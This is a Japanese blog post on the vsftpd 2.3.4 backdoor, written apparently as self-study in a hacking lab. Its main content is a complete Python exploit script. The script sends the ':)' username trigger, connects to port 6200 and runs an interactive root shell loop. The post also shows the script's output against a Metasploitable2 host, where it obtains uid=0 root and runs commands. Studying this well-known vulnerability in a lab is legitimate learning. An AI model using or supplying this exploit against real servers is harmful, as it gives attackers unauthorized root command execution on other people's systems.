Engineering Note

プログラミングなどの技術的なメモ

vsftpd 2.3.4 の脆弱性

ftp server

本記事では、リモートからコマンドを実行することが可能となるvsftpd 2.3.4の脆弱性について学んでいきます。

 

 

概要

VSFTPDとはVery Secure FTP Daemonの略で、主にLinuxなどでオープンソースで利用されているFTPサーバソフトウェアです。

2011年にリリースされたバージョン2.3.4では、ユーザ名に特定の文字列「:)」が末尾に付与されていた際にTCP 6200番ポートがオープンし、そのポートを利用してリモートからroot権限で任意のコードを実行することができるバックドアコードが含まれていました。

 

今回はこの脆弱性を利用したスクリプトを作成してみます。

 

スクリプトの作成

以下がPythonで作成したスクリプトになります。

 

# exploit_vsftpd.py
import socket
import sys

def handle_error(sock):
    print('[-] Could not connect to server.')
    sock.close()
    sys.exit(1)

def handle_backdoor(sock):
    print('[*] Backdoor has opened.\n')
    sock.settimeout(3)
    while True:
        cmd = input('> ')
        if cmd == 'exit':
            sock.send(cmd.encode('utf-8')+b'\n')
            break
        sock.send(cmd.encode('utf-8')+b'\n')
        try:
            res = sock.recv(2048)
            while True:
                print(res.decode('utf-8').rstrip())
                if len(res) > 2048:
                    res = sock.recv(2048)
                    continue
                break
        except socket.timeout:
            continue
    sock.close()
    print('[*] Connection has closed.')

if not len(sys.argv) == 2:
    print('Usage: {} '.format(sys.argv[0]))
    sys.exit(1)

server_ip = sys.argv[1]

try:
    print('[*] Connecting to server...')
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    if sock.connect_ex((server_ip, 6200)):
        sock.close()
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if sock.connect_ex((server_ip, 21)):
            handle_error(sock)
        banner = sock.recv(1024)
        if not b'220' in banner:
            handle_error()
        print('[*] Banner: {}'.format(banner.decode('utf-8').rstrip()))
        sock.send(b'USER foo:)\r\n')
        res = sock.recv(1024)
        # print(res.decode('utf-8'))
        sock.send(b'PASS bar\r\n')
        sock.close()

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if sock.connect_ex((server_ip, 6200)):
            handle_error(sock)
        sock.send(b'id\n')
        res = sock.recv(1024)
        print('[*] ID: {}'.format(res.decode('utf-8').rstrip()))
        handle_backdoor(sock)

    else:
        print('[*] Port 6200 has already opened.')
        try:
            sock.send(b'id\n')
            res = sock.recv(1024)
            print('[*] ID: {}'.format(res.decode('utf-8').rstrip()))
            handle_backdoor(sock)
        except socket.timeout:
            print('[-] Backdoor has been used already.')
            sys.exit(1)

except ConnectionRefusedError:
    handle_error(sock)

 

動作確認

それでは、上記で作成したスクリプトを実行してみます。

FTPサーバとしては、Metasploitable2にデフォルトでインストールされているvsftpdを利用します。

 

 > python exploit_vsftpd.py 192.168.0.1
 [*] Connecting to server...
 [*] Banner: 220 (vsFTPd 2.3.4)
 [*] ID: uid=0(root) gid=0(root)
 [*] Backdoor has opened.

 > whoami
 root
 > uname -a
 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
 > exit
 [*] Connection has closed.

 

問題なくリモートからコマンドを実行することができました。

 

予期せぬところで脆弱性が生まれる一方で、よくこのような脆弱性があることを見つけたなと思いました。

 

参考書籍

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習